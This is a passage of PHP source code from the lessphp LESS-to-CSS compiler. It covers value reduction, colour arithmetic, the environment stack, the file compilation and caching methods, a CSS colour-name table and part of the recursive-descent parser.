(empty($value[2])) $res = $this->lib_e($res); return $res; case "variable": $key = $value[1]; if (is_array($key)) { $key = $this->reduce($key); $key = $this->vPrefix . $this->compileValue($this->lib_e($key)); } $seen =& $this->env->seenNames; if (!empty($seen[$key])) { $this->throwError("infinite loop detected: $key"); } $seen[$key] = true; $out = $this->reduce($this->get($key)); $seen[$key] = false; return $out; case "list": foreach ($value[2] as &$item) { $item = $this->reduce($item, $forExpression); } return $value; case "expression": return $this->evaluate($value); case "string": foreach ($value[2] as &$part) { if (is_array($part)) { $strip = $part[0] == "variable"; $part = $this->reduce($part); if ($strip) $part = $this->lib_e($part); } } return $value; case "escape": list(,$inner) = $value; return $this->lib_e($this->reduce($inner)); case "function": $color = $this->funcToColor($value); if ($color) return $color; list(, $name, $args) = $value; if ($name == "%") $name = "_sprintf"; $f = isset($this->libFunctions[$name]) ? $this->libFunctions[$name] : array($this, 'lib_'.str_replace('-', '_', $name)); if (is_callable($f)) { if ($args[0] == 'list') $args = self::compressList($args[2], $args[1]); $ret = call_user_func($f, $this->reduce($args, true), $this); if (is_null($ret)) { return array("string", "", array( $name, "(", $args, ")" )); } // convert to a typed value if the result is a php primitive if (is_numeric($ret)) { $ret = array('number', $ret, ""); } elseif (!is_array($ret)) { $ret = array('keyword', $ret); } return $ret; } // plain function, reduce args $value[2] = $this->reduce($value[2]); return $value; case "unary": list(, $op, $exp) = $value; $exp = $this->reduce($exp); if ($exp[0] == "number") { switch ($op) { case "+": return $exp; case "-": $exp[1] *= -1; return $exp; } } return array("string", "", array($op, $exp)); } if ($forExpression) { switch ($value[0]) { case "keyword": if ($color = $this->coerceColor($value)) { return $color; } break; case "raw_color": return $this->coerceColor($value); } } return $value; } // coerce a value for use in color operation protected function coerceColor($value) { switch ($value[0]) { case 'color': return $value; case 'raw_color': $c = array("color", 0, 0, 0); $colorStr = substr($value[1], 1); $num = hexdec($colorStr); $width = strlen($colorStr) == 3 ? 16 : 256; for ($i = 3; $i > 0; $i--) { // 3 2 1 $t = $num % $width; $num /= $width; $c[$i] = $t * (256/$width) + $t * floor(16/$width); } return $c; case 'keyword': $name = $value[1]; if (isset(self::$cssColors[$name])) { $rgba = explode(',', self::$cssColors[$name]); if (isset($rgba[3])) { return array('color', $rgba[0], $rgba[1], $rgba[2], $rgba[3]); } return array('color', $rgba[0], $rgba[1], $rgba[2]); } return null; } } // make something string like into a string protected function coerceString($value) { switch ($value[0]) { case "string": return $value; case "keyword": return array("string", "", array($value[1])); } return null; } // turn list of length 1 into value type protected function flattenList($value) { if ($value[0] == "list" && count($value[2]) == 1) { return $this->flattenList($value[2][0]); } return $value; } public function toBool($a) { return $a ? self::$TRUE : self::$FALSE; } // evaluate an expression protected function evaluate($exp) { list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp; $left = $this->reduce($left, true); $right = $this->reduce($right, true); if ($leftColor = $this->coerceColor($left)) { $left = $leftColor; } if ($rightColor = $this->coerceColor($right)) { $right = $rightColor; } $ltype = $left[0]; $rtype = $right[0]; // operators that work on all types if ($op == "and") { return $this->toBool($left == self::$TRUE && $right == self::$TRUE); } if ($op == "=") { return $this->toBool($this->eq($left, $right) ); } if ($op == "+" && !is_null($str = $this->stringConcatenate($left, $right))) { return $str; } // type based operators $fname = "op_${ltype}_${rtype}"; if (is_callable(array($this, $fname))) { $out = $this->$fname($op, $left, $right); if (!is_null($out)) return $out; } // make the expression look it did before being parsed $paddedOp = $op; if ($whiteBefore) { $paddedOp = " " . $paddedOp; } if ($whiteAfter) { $paddedOp .= " "; } return array("string", "", array($left, $paddedOp, $right)); } protected function stringConcatenate($left, $right) { if ($strLeft = $this->coerceString($left)) { if ($right[0] == "string") { $right[1] = ""; } $strLeft[2][] = $right; return $strLeft; } if ($strRight = $this->coerceString($right)) { array_unshift($strRight[2], $left); return $strRight; } } // make sure a color's components don't go out of bounds protected function fixColor($c) { foreach (range(1, 3) as $i) { if ($c[$i] < 0) $c[$i] = 0; if ($c[$i] > 255) $c[$i] = 255; } return $c; } protected function op_number_color($op, $lft, $rgt) { if ($op == '+' || $op == '*') { return $this->op_color_number($op, $rgt, $lft); } } protected function op_color_number($op, $lft, $rgt) { if ($rgt[0] == '%') $rgt[1] /= 100; return $this->op_color_color($op, $lft, array_fill(1, count($lft) - 1, $rgt[1])); } protected function op_color_color($op, $left, $right) { $out = array('color'); $max = count($left) > count($right) ? count($left) : count($right); foreach (range(1, $max - 1) as $i) { $lval = isset($left[$i]) ? $left[$i] : 0; $rval = isset($right[$i]) ? $right[$i] : 0; switch ($op) { case '+': $out[] = $lval + $rval; break; case '-': $out[] = $lval - $rval; break; case '*': $out[] = $lval * $rval; break; case '%': $out[] = $lval % $rval; break; case '/': if ($rval == 0) { $this->throwError("evaluate error: can't divide by zero"); } $out[] = $lval / $rval; break; default: $this->throwError('evaluate error: color op number failed on op '.$op); } } return $this->fixColor($out); } public function lib_red($color){ $color = $this->coerceColor($color); if (is_null($color)) { $this->throwError('color expected for red()'); } return $color[1]; } public function lib_green($color){ $color = $this->coerceColor($color); if (is_null($color)) { $this->throwError('color expected for green()'); } return $color[2]; } public function lib_blue($color){ $color = $this->coerceColor($color); if (is_null($color)) { $this->throwError('color expected for blue()'); } return $color[3]; } // operator on two numbers protected function op_number_number($op, $left, $right) { $unit = empty($left[2]) ? $right[2] : $left[2]; $value = 0; switch ($op) { case '+': $value = $left[1] + $right[1]; break; case '*': $value = $left[1] * $right[1]; break; case '-': $value = $left[1] - $right[1]; break; case '%': $value = $left[1] % $right[1]; break; case '/': if ($right[1] == 0) $this->throwError('parse error: divide by zero'); $value = $left[1] / $right[1]; break; case '<': return $this->toBool($left[1] < $right[1]); case '>': return $this->toBool($left[1] > $right[1]); case '>=': return $this->toBool($left[1] >= $right[1]); case '=<': return $this->toBool($left[1] <= $right[1]); default: $this->throwError('parse error: unknown number operator: '.$op); } return array("number", $value, $unit); } /* environment functions */ protected function makeOutputBlock($type, $selectors = null) { $b = new stdclass; $b->lines = array(); $b->children = array(); $b->selectors = $selectors; $b->type = $type; $b->parent = $this->scope; return $b; } // the state of execution protected function pushEnv($block = null) { $e = new stdclass; $e->parent = $this->env; $e->store = array(); $e->block = $block; $this->env = $e; return $e; } // pop something off the stack protected function popEnv() { $old = $this->env; $this->env = $this->env->parent; return $old; } // set something in the current env protected function set($name, $value) { $this->env->store[$name] = $value; } // get the highest occurrence entry for a name protected function get($name) { $current = $this->env; $isArguments = $name == $this->vPrefix . 'arguments'; while ($current) { if ($isArguments && isset($current->arguments)) { return array('list', ' ', $current->arguments); } if (isset($current->store[$name])) { return $current->store[$name]; } $current = isset($current->storeParent) ? $current->storeParent : $current->parent; } $this->throwError("variable $name is undefined"); } // inject array of unparsed strings into environment as variables protected function injectVariables($args) { $this->pushEnv(); $parser = new lessc_parser($this, __METHOD__); foreach ($args as $name => $strValue) { if ($name[0] !== '@') { $name = '@' . $name; } $parser->count = 0; $parser->buffer = (string)$strValue; if (!$parser->propertyValue($value)) { throw new Exception("failed to parse passed in variable $name: $strValue"); } $this->set($name, $value); } } /** * Initialize any static state, can initialize parser for a file * $opts isn't used yet */ public function __construct($fname = null) { if ($fname !== null) { // used for deprecated parse method $this->_parseFile = $fname; } } public function compile($string, $name = null) { $locale = setlocale(LC_NUMERIC, 0); setlocale(LC_NUMERIC, "C"); $this->parser = $this->makeParser($name); $root = $this->parser->parse($string); $this->env = null; $this->scope = null; $this->formatter = $this->newFormatter(); if (!empty($this->registeredVars)) { $this->injectVariables($this->registeredVars); } $this->sourceParser = $this->parser; // used for error messages $this->compileBlock($root); ob_start(); $this->formatter->block($this->scope); $out = ob_get_clean(); setlocale(LC_NUMERIC, $locale); return $out; } public function compileFile($fname, $outFname = null) { if (!is_readable($fname)) { throw new Exception('load error: failed to find '.$fname); } $pi = pathinfo($fname); $oldImport = $this->importDir; $this->importDir = (array)$this->importDir; $this->importDir[] = $pi['dirname'].'/'; $this->addParsedFile($fname); $out = $this->compile(file_get_contents($fname), $fname); $this->importDir = $oldImport; if ($outFname !== null) { return file_put_contents($outFname, $out); } return $out; } // compile only if changed input has changed or output doesn't exist public function checkedCompile($in, $out) { if (!is_file($out) || filemtime($in) > filemtime($out)) { $this->compileFile($in, $out); return true; } return false; } /** * Execute lessphp on a .less file or a lessphp cache structure * * The lessphp cache structure contains information about a specific * less file having been parsed. It can be used as a hint for future * calls to determine whether or not a rebuild is required. * * The cache structure contains two important keys that may be used * externally: * * compiled: The final compiled CSS * updated: The time (in seconds) the CSS was last compiled * * The cache structure is a plain-ol' PHP associative array and can * be serialized and unserialized without a hitch. * * @param mixed $in Input * @param bool $force Force rebuild? * @return array lessphp cache structure */ public function cachedCompile($in, $force = false) { // assume no root $root = null; if (is_string($in)) { $root = $in; } elseif (is_array($in) && isset($in['root'])) { if ($force || !isset($in['files'])) { // If we are forcing a recompile or if for some reason the // structure does not contain any file information we should // specify the root to trigger a rebuild. $root = $in['root']; } elseif (isset($in['files']) && is_array($in['files'])) { foreach ($in['files'] as $fname => $ftime) { if (!file_exists($fname) || filemtime($fname) > $ftime) { // One of the files we knew about previously has changed // so we should look at our incoming root again. $root = $in['root']; break; } } } } else { // TODO: Throw an exception? We got neither a string nor something // that looks like a compatible lessphp cache structure. return null; } if ($root !== null) { // If we have a root value which means we should rebuild. $out = array(); $out['root'] = $root; $out['compiled'] = $this->compileFile($root); $out['files'] = $this->allParsedFiles(); $out['updated'] = time(); return $out; } else { // No changes, pass back the structure // we were given initially. return $in; } } // parse and compile buffer // This is deprecated public function parse($str = null, $initialVariables = null) { if (is_array($str)) { $initialVariables = $str; $str = null; } $oldVars = $this->registeredVars; if ($initialVariables !== null) { $this->setVariables($initialVariables); } if ($str == null) { if (empty($this->_parseFile)) { throw new exception("nothing to parse"); } $out = $this->compileFile($this->_parseFile); } else { $out = $this->compile($str); } $this->registeredVars = $oldVars; return $out; } protected function makeParser($name) { $parser = new lessc_parser($this, $name); $parser->writeComments = $this->preserveComments; return $parser; } public function setFormatter($name) { $this->formatterName = $name; } protected function newFormatter() { $className = "lessc_formatter_lessjs"; if (!empty($this->formatterName)) { if (!is_string($this->formatterName)) return $this->formatterName; $className = "lessc_formatter_$this->formatterName"; } return new $className; } public function setPreserveComments($preserve) { $this->preserveComments = $preserve; } public function registerFunction($name, $func) { $this->libFunctions[$name] = $func; } public function unregisterFunction($name) { unset($this->libFunctions[$name]); } public function setVariables($variables) { $this->registeredVars = array_merge($this->registeredVars, $variables); } public function unsetVariable($name) { unset($this->registeredVars[$name]); } public function setImportDir($dirs) { $this->importDir = (array)$dirs; } public function addImportDir($dir) { $this->importDir = (array)$this->importDir; $this->importDir[] = $dir; } public function allParsedFiles() { return $this->allParsedFiles; } public function addParsedFile($file) { $this->allParsedFiles[realpath($file)] = filemtime($file); } /** * Uses the current value of $this->count to show line and line number */ public function throwError($msg = null) { if ($this->sourceLoc >= 0) { $this->sourceParser->throwError($msg, $this->sourceLoc); } throw new exception($msg); } // compile file $in to file $out if $in is newer than $out // returns true when it compiles, false otherwise public static function ccompile($in, $out, $less = null) { if ($less === null) { $less = new self; } return $less->checkedCompile($in, $out); } public static function cexecute($in, $force = false, $less = null) { if ($less === null) { $less = new self; } return $less->cachedCompile($in, $force); } protected static $cssColors = array( 'aliceblue' => '240,248,255', 'antiquewhite' => '250,235,215', 'aqua' => '0,255,255', 'aquamarine' => '127,255,212', 'azure' => '240,255,255', 'beige' => '245,245,220', 'bisque' => '255,228,196', 'black' => '0,0,0', 'blanchedalmond' => '255,235,205', 'blue' => '0,0,255', 'blueviolet' => '138,43,226', 'brown' => '165,42,42', 'burlywood' => '222,184,135', 'cadetblue' => '95,158,160', 'chartreuse' => '127,255,0', 'chocolate' => '210,105,30', 'coral' => '255,127,80', 'cornflowerblue' => '100,149,237', 'cornsilk' => '255,248,220', 'crimson' => '220,20,60', 'cyan' => '0,255,255', 'darkblue' => '0,0,139', 'darkcyan' => '0,139,139', 'darkgoldenrod' => '184,134,11', 'darkgray' => '169,169,169', 'darkgreen' => '0,100,0', 'darkgrey' => '169,169,169', 'darkkhaki' => '189,183,107', 'darkmagenta' => '139,0,139', 'darkolivegreen' => '85,107,47', 'darkorange' => '255,140,0', 'darkorchid' => '153,50,204', 'darkred' => '139,0,0', 'darksalmon' => '233,150,122', 'darkseagreen' => '143,188,143', 'darkslateblue' => '72,61,139', 'darkslategray' => '47,79,79', 'darkslategrey' => '47,79,79', 'darkturquoise' => '0,206,209', 'darkviolet' => '148,0,211', 'deeppink' => '255,20,147', 'deepskyblue' => '0,191,255', 'dimgray' => '105,105,105', 'dimgrey' => '105,105,105', 'dodgerblue' => '30,144,255', 'firebrick' => '178,34,34', 'floralwhite' => '255,250,240', 'forestgreen' => '34,139,34', 'fuchsia' => '255,0,255', 'gainsboro' => '220,220,220', 'ghostwhite' => '248,248,255', 'gold' => '255,215,0', 'goldenrod' => '218,165,32', 'gray' => '128,128,128', 'green' => '0,128,0', 'greenyellow' => '173,255,47', 'grey' => '128,128,128', 'honeydew' => '240,255,240', 'hotpink' => '255,105,180', 'indianred' => '205,92,92', 'indigo' => '75,0,130', 'ivory' => '255,255,240', 'khaki' => '240,230,140', 'lavender' => '230,230,250', 'lavenderblush' => '255,240,245', 'lawngreen' => '124,252,0', 'lemonchiffon' => '255,250,205', 'lightblue' => '173,216,230', 'lightcoral' => '240,128,128', 'lightcyan' => '224,255,255', 'lightgoldenrodyellow' => '250,250,210', 'lightgray' => '211,211,211', 'lightgreen' => '144,238,144', 'lightgrey' => '211,211,211', 'lightpink' => '255,182,193', 'lightsalmon' => '255,160,122', 'lightseagreen' => '32,178,170', 'lightskyblue' => '135,206,250', 'lightslategray' => '119,136,153', 'lightslategrey' => '119,136,153', 'lightsteelblue' => '176,196,222', 'lightyellow' => '255,255,224', 'lime' => '0,255,0', 'limegreen' => '50,205,50', 'linen' => '250,240,230', 'magenta' => '255,0,255', 'maroon' => '128,0,0', 'mediumaquamarine' => '102,205,170', 'mediumblue' => '0,0,205', 'mediumorchid' => '186,85,211', 'mediumpurple' => '147,112,219', 'mediumseagreen' => '60,179,113', 'mediumslateblue' => '123,104,238', 'mediumspringgreen' => '0,250,154', 'mediumturquoise' => '72,209,204', 'mediumvioletred' => '199,21,133', 'midnightblue' => '25,25,112', 'mintcream' => '245,255,250', 'mistyrose' => '255,228,225', 'moccasin' => '255,228,181', 'navajowhite' => '255,222,173', 'navy' => '0,0,128', 'oldlace' => '253,245,230', 'olive' => '128,128,0', 'olivedrab' => '107,142,35', 'orange' => '255,165,0', 'orangered' => '255,69,0', 'orchid' => '218,112,214', 'palegoldenrod' => '238,232,170', 'palegreen' => '152,251,152', 'paleturquoise' => '175,238,238', 'palevioletred' => '219,112,147', 'papayawhip' => '255,239,213', 'peachpuff' => '255,218,185', 'peru' => '205,133,63', 'pink' => '255,192,203', 'plum' => '221,160,221', 'powderblue' => '176,224,230', 'purple' => '128,0,128', 'red' => '255,0,0', 'rosybrown' => '188,143,143', 'royalblue' => '65,105,225', 'saddlebrown' => '139,69,19', 'salmon' => '250,128,114', 'sandybrown' => '244,164,96', 'seagreen' => '46,139,87', 'seashell' => '255,245,238', 'sienna' => '160,82,45', 'silver' => '192,192,192', 'skyblue' => '135,206,235', 'slateblue' => '106,90,205', 'slategray' => '112,128,144', 'slategrey' => '112,128,144', 'snow' => '255,250,250', 'springgreen' => '0,255,127', 'steelblue' => '70,130,180', 'tan' => '210,180,140', 'teal' => '0,128,128', 'thistle' => '216,191,216', 'tomato' => '255,99,71', 'transparent' => '0,0,0,0', 'turquoise' => '64,224,208', 'violet' => '238,130,238', 'wheat' => '245,222,179', 'white' => '255,255,255', 'whitesmoke' => '245,245,245', 'yellow' => '255,255,0', 'yellowgreen' => '154,205,50' ); } // responsible for taking a string of LESS code and converting it into a // syntax tree class lessc_parser { protected static $nextBlockId = 0; // used to uniquely identify blocks protected static $precedence = array( '=<' => 0, '>=' => 0, '=' => 0, '<' => 0, '>' => 0, '+' => 1, '-' => 1, '*' => 2, '/' => 2, '%' => 2, ); protected static $whitePattern; protected static $commentMulti; protected static $commentSingle = "//"; protected static $commentMultiLeft = "/*"; protected static $commentMultiRight = "*/"; // regex string to match any of the operators protected static $operatorString; // these properties will supress division unless it's inside parenthases protected static $supressDivisionProps = array('/border-radius$/i', '/^font$/i'); protected $blockDirectives = array("font-face", "keyframes", "page", "-moz-document", "viewport", "-moz-viewport", "-o-viewport", "-ms-viewport"); protected $lineDirectives = array("charset"); /** * if we are in parens we can be more liberal with whitespace around * operators because it must evaluate to a single value and thus is less * ambiguous. * * Consider: * property1: 10 -5; // is two numbers, 10 and -5 * property2: (10 -5); // should evaluate to 5 */ protected $inParens = false; // caches preg escaped literals protected static $literalCache = array(); public function __construct($lessc, $sourceName = null) { $this->eatWhiteDefault = true; // reference to less needed for vPrefix, mPrefix, and parentSelector $this->lessc = $lessc; $this->sourceName = $sourceName; // name used for error messages $this->writeComments = false; if (!self::$operatorString) { self::$operatorString = '('.implode('|', array_map(array('lessc', 'preg_quote'), array_keys(self::$precedence))).')'; $commentSingle = lessc::preg_quote(self::$commentSingle); $commentMultiLeft = lessc::preg_quote(self::$commentMultiLeft); $commentMultiRight = lessc::preg_quote(self::$commentMultiRight); self::$commentMulti = $commentMultiLeft.'.*?'.$commentMultiRight; self::$whitePattern = '/'.$commentSingle.'[^\n]*\s*|('.self::$commentMulti.')\s*|\s+/Ais'; } } public function parse($buffer) { $this->count = 0; $this->line = 1; $this->env = null; // block stack $this->buffer = $this->writeComments ? $buffer : $this->removeComments($buffer); $this->pushSpecialBlock("root"); $this->eatWhiteDefault = true; $this->seenComments = array(); // trim whitespace on head // if (preg_match('/^\s+/', $this->buffer, $m)) { // $this->line += substr_count($m[0], "\n"); // $this->buffer = ltrim($this->buffer); // } $this->whitespace(); // parse the entire file while (false !== $this->parseChunk()); if ($this->count != strlen($this->buffer)) $this->throwError(); // TODO report where the block was opened if ( !property_exists($this->env, 'parent') || !is_null($this->env->parent) ) throw new exception('parse error: unclosed block'); return $this->env; } /** * Parse a single chunk off the head of the buffer and append it to the * current parse environment. * Returns false when the buffer is empty, or when there is an error. * * This function is called repeatedly until the entire document is * parsed. * * This parser is most similar to a recursive descent parser. Single * functions represent discrete grammatical rules for the language, and * they are able to capture the text that represents those rules. * * Consider the function lessc::keyword(). (all parse functions are * structured the same) * * The function takes a single reference argument. When calling the * function it will attempt to match a keyword on the head of the buffer. * If it is successful, it will place the keyword in the referenced * argument, advance the position in the buffer, and return true. If it * fails then it won't advance the buffer and it will return false. * * All of these parse functions are powered by lessc::match(), which behaves * the same way, but takes a literal regular expression. Sometimes it is * more convenient to use match instead of creating a new function. * * Because of the format of the functions, to parse an entire string of * grammatical rules, you can chain them together using &&. * * But, if some of the rules in the chain succeed before one fails, then * the buffer position will be left at an invalid state. In order to * avoid this, lessc::seek() is used to remember and set buffer positions. * * Before parsing a chain, use $s = $this->seek() to remember the current * position into $s. Then if a chain fails, use $this->seek($s) to * go back where we started. */ protected function parseChunk() { if (empty($this->buffer)) return false; $s = $this->seek(); if ($this->whitespace()) { return true; } // setting a property if ($this->keyword($key) && $this->assign() && $this->propertyValue($value, $key) && $this->end() ) { $this->append(array('assign', $key, $value), $s); return true; } else { $this->seek($s); } // look for special css blocks if ($this->literal('@', false)) { $this->count--; // media if ($this->literal('@media')) { if (($this->mediaQueryList($mediaQueries) || true) && $this->literal('{') ) { $media = $this->pushSpecialBlock("media"); $media->queries = is_null($mediaQueries) ? array() : $mediaQueries; return true; } else { $this->seek($s); return false; } } if ($this->literal("@", false) && $this->keyword($dirName)) { if ($this->isDirective($dirName, $this->blockDirectives)) { if (($this->openString("{", $dirValue, null, array(";")) || true) && $this->literal("{") ) { $dir = $this->pushSpecialBlock("directive"); $dir->name = $dirName; if (isset($dirValue)) $dir->value = $dirValue; return true; } } elseif ($this->isDirective($dirName, $this->lineDirectives)) { if ($this->propertyValue($dirValue) && $this->end()) { $this->append(array("directive", $dirName, $dirValue)); return true; } } } $this->seek($s); } // setting a variable if ($this->variable($var) && $this->assign() && $this->propertyValue($value) && $this->end() ) { $this->append(array('assign', $var, $value), $s); return true; } else { $this->seek($s); } if ($this->import($importValue)) { $this->append($importValue, $s); return true; } // opening parametric mixin if ($this->tag($tag, true) && $this->argumentDef($args, $isVararg) && ($this->guards($guards) || true) && $this->literal('{') ) { $block = $this->pushBlock($this->fixTags(array($tag))); $block->args = $args; $block->isVararg = $isVararg; if (!empty($guards)) $block->guards = $guards; return true; } else { $this->seek($s); } // opening a simple block if ($this->tags($tags) && $this->literal('{', false)) { $tags = $this->fixTags($tags); $this->pushBlock($tags); return true; } else { $this->seek($s); } // closing a block if ($this->literal('}', false)) { try { $block = $this->pop(); } catch (exception $e) { $this->seek($s); $this->throwError($e->getMessage()); } $hidden = false; if (is_null($block->type)) { $hidden = true; if (!isset($block->args)) { foreach ($block->tags as $tag) { if (!is_string($tag) || $tag[0] != $this->lessc->mPrefix) { $hidden = false; break; } } } foreach ($block->tags as $tag) { if (is_string($tag)) { $this->env->children[$tag][] = $block; } } } if (!$hidden) { $this->append(array('block', $block), $s); } // this is done here so comments aren't bundled into he block that // was just closed $this->whitespace(); return true; } // mixin if ($this->mixinTags($tags) && ($this->argumentDef($argv, $isVararg) || true) && ($this->keyword($suffix) || true) && $this->end() ) { $tags = $this->fixTags($tags); $this->append(array('mixin', $tags, $argv, $suffix), $s); return true; } else { $this->seek($s); } // spare ; if ($this->literal(';')) return true; return false; // got nothing, throw error } protected function isDirective($dirname, $directives) { // TODO: cache pattern in parser $pattern = implode("|", array_map(array("lessc", "preg_quote"), $directives)); $pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i'; return preg_match($pattern, $dirname); } protected function fixTags($tags) { // move @ tags out of variable namespace foreach ($tags as &$tag) { if ($tag[0] == $this->lessc->vPrefix) $tag[0] = $this->lessc->mPrefix; } return $tags; } // a list of expressions protected function expressionList(&$exps) { $values = array(); while ($this->expression($exp)) { $values[] = $exp; } if (count($values) == 0) return false; $exps = lessc::compressList($values, ' '); return true; } /** * Attempt to consume an expression. * @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code */ protected function expression(&$out) { if ($this->value($lhs)) { $out = $this->expHelper($lhs, 0); // look for / shorthand if (!empty($this->env->supressedDivision)) { unset($this->env->supressedDivision); $s = $this->seek(); if ($this->literal("/") && $this->value($rhs)) { $out = array("list", "", array($out, array("keyword", "/"), $rhs)); } else { $this->seek($s); } } return true; } return false; } /** * recursively parse infix equation with $lhs at precedence $minP */ protected function expHelper($lhs, $minP) { $this->inExp = true; $ss = $this->seek(); while (true) { $whiteBefore = isset($this->buffer[$this->count - 1]) && ctype_space($this->buffer[$this->count - 1]); // If there is whitespace before the operator, then we require // whitespace after the operator for it to be an expression $needWhite = $whiteBefore && !$this->inParens; if ($this->match(self::$operatorString.($needWhite ? '\s' : ''), $m) && self::$precedence[$m[1]] >= $minP) { if (!$this->inParens && isset($this->env->currentProperty) && $m[1] == "/" && empty($this->env->supressedDivision)) { foreach (self::$supressDivisionProps as $pattern) { if (preg_match($pattern, $this->env->currentProperty)) { $this->env->supressedDivision = true; break 2; } } } $whiteAfter = isset($this->buffer[$this->count - 1]) && ctype_space($this->buffer[$this->count - 1]); if (!$this->value($rhs)) break; // peek for next operator to see what to do with rhs if ($this->peek(self::$operatorString, $next) && self::$precedence[$next[1]] > self::$precedence[$m[1]]) { $rhs = $this->expHelper($rhs, self::$precedence[$next[1]]); } $lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter); $ss = $this->seek(); continue; } break; } $this->seek($ss); return $lhs; } // consume a list of values for a property public function propertyValue(&$value, $keyName = null) { $values = array(); if ($keyName !== null) $this->env->currentProperty = $keyName; $s = null; while ($this->expressionList($v)) { $values[] = $v; $s = $this->seek(); if (!$this->literal(',')) break; } if ($s) $this->seek($s); if ($keyName !== null) unset($this->env->currentProperty); if (count($values) == 0) return false; $value = lessc::compressList($values, ', '); return true; } protected function parenValue(&$out) { $s = $this->seek(); // speed shortcut if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "(") { return false; } $inParens = $this->inParens; if ($this->literal("(") && ($this->inParens = true) && $this->expression($exp) && $this->literal(")") ) { $out = $exp; $this->inParens = $inParens; return true; } else { $this->inParens = $inParens; $this->seek($s); } return false; } // a single value protected function value(&$value) { $s = $this->seek(); // speed shortcut if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "-") { // negation if ($this->literal("-", false) && (($this->variable($inner) && $inner = array("variable", $inner)) || $this->unit($inner) || $this->parenValue($inner)) ) { $value = array("unary", "-", $inner); return true; } else { $this->seek($s); } } if ($this->parenValue($value)) return true; if ($this->unit($value)) return true; if ($this->color($value)) return true; if ($this->func($value)) return true; if ($this->string($value)) return true; if ($this->keyword($word)) { $value = array('keyword', $word); return true; } // try a variable if ($this->variable($var)) { $value = array('variable', $var); return true; } // unquote string (should this work on any type? if ($this->literal("~") && $this->string($str)) { $value = array("escape", $str); return true; } else { $this->seek($s); } // css hack: \0 if ($this->literal('\\') && $this->match('([0-9]+)', $m)) { $value = array('keyword', '\\'.$m[1]); return true; } else { $this->seek($s); } return false; } // an import statement protected function import(&$out) { if (!$this->literal('@import')) return false; // @import "something.css" media; // @import url("something.css") media; // @import url(something.css) media; if ($this->propertyValue($value)) { $out = array("import", $value); return true; } } protected function mediaQueryList(&$out) { if ($this->genericList($list, "mediaQuery", ",", false)) { $out = $list[2]; return true; } return false; } protected function mediaQuery(&$out) { $s = $this->seek(); $expressions = null; $parts = array(); if (($this->literal("only") && ($only = true) || $this->literal("not") && ($not = true) || true) && $this->keyword($mediaType)) { $prop = array("mediaType"); if (isset($only)) $prop[] = "only"; if (isset($not)) $prop[] = "not"; $prop[] = $mediaType; $parts[] = $prop; } else { $this->seek($s); } if (!empty($mediaType) && !$this->literal("and")) { // ~ } else { $this->genericList($expressions, "mediaExpression", "and", false); if (is_array($expressions)) $parts = array_merge($parts, $expressions[2]); } if (count($parts) == 0) { $this->seek($s); return false; } $out = $parts; return true; } protected function mediaExpression(&$out) { $s = $this->seek(); $value = null; if ($this->literal("(") && $this->keyword($feature) && ($this->literal(":") && $this->expression($value) || true) && $this->literal(")") ) { $out = array("mediaExp", $feature); if ($value) $out[] = $value; return true; } elseif ($this->variable($variable)) { $out = array('variable', $variable); return true; } $this->seek($s); return false; } // an unbounded string stopped by $end protected function openString($end, &$out, $nestingOpen = null, $rejectStrs = null) { $oldWhite = $this->eatWhiteDefault; $this->eatWhiteDefault = false; $stop = array("'", '"', "@{", $end); $stop = array_map(array("lessc", "preg_quote"), $stop); // $stop[] = self::$commentMulti; if (!is_null($rejectStrs)) { $stop = array_merge($stop, $rejectStrs); } $patt = '(.*?)('.implode("|", $stop).')'; $nestingLevel = 0; $content = array(); while ($this->match($patt, $m, false)) { if (!empty($m[1])) { $content[] = $m[1]; if ($nestingOpen) { $nestingLevel += substr_count($m[1], $nestingOpen); } } $tok = $m[2]; $this->count-= strlen($tok); if ($tok == $end) { if ($nestingLevel == 0) { break; } else { $nestingLevel--; } } if (($tok == "'" || $tok == '"') && $this->string($str)) { $content[] = $str; continue; } if ($tok == "@{" && $this->interpolation($inter)) { $content[] = $inter; continue; } if (!empty($rejectStrs) && in_array($tok, $rejectStrs)) { break; } $content[] = $tok; $this->count+= strlen($tok); } $this->eatWhiteDefault = $oldWhite; if (count($content) == 0) return false; // trim the end if (is_string(end($content))) { $content[count($content) - 1] = rtrim(end($content)); } $out = array("string", "", $content); return true; } protected function string(&$out) { $s = $this->seek(); if ($this->literal('"', false)) { $delim = '"'; } elseif ($this->literal("'", false)) { $delim = "'"; } else { return false; } $content = array(); // look for either ending delim , escape, or string interpolation $patt = '([^\n]*?)(@\{|\\\\|' . lessc::preg_quote($delim).')'; $oldWhite = $this->eatWhiteDefault; $this->eatWhiteDefault = false; while ($this->match($patt, $m, false)) { $content[] = $m[1]; if ($m[2] == "@{") { $this->count -= strlen($m[2]); if ($this->interpolation($inter, false)) { $content[] = $inter; } else { $this->count += strlen($m[2]); $content[] = "@{"; // ignore it } } elseif ($m[2] == '\\') { $content[] = $m[2]; if ($this->literal($delim, false)) { $content[] = $delim; } } else { $this->count -= strlen($delim); break; // delim } } $this->eatWhiteDefault = $oldWhite; if ($this->literal($delim)) { $out = array("string", $delim, $content); return true; } $this->seek($s); return false; } protected function interpolation(&$out) { $oldWhite = $this->eatWhiteDefault; $this->eatWhiteDefault = true; $s = $this->seek(); if ($this->literal("@{") && $this->openString("}", $interp, null, array("'", '"', ";")) && $this->literal("}", false) ) { $out = array("interpolate", $interp); $this->eatWhiteDefault = $oldWhite; if ($this->eatWhiteDefault) $this->whitespace(); return true; } $this->eatWhiteDefault = $oldWhite; $this->seek($s); return false; } protected function unit(&$unit) { // speed shortcut if (isset($this->buffer[$this->count])) { $char = $this->buffer[$this->count]; if (!ctype_digit($char) && $char != ".") return false; } if ($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m)) { $unit = array("number", $m[1], empty($m[2]) ? "" : $m[2]); return true; } return false; } // a # color protected function color(&$out) { if ($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m)) { if (strlen($m[1]) > 7) { $out = array("string", "", array($m[1])); } else { $out = array("raw_color", $m[1]); } return true; } return false; } // consume an argument definition list surrounded by () // each argument is a variable name with optional value // or at the end a ... or a variable named followed by ... // arguments are separated by , unless a ; is in the list, then ; is the // delimiter. protected function argumentDef(&$args, &$isVararg) { $s = $this->seek(); if (!$this->literal('(')) { return false; } $values = array(); $delim = ","; 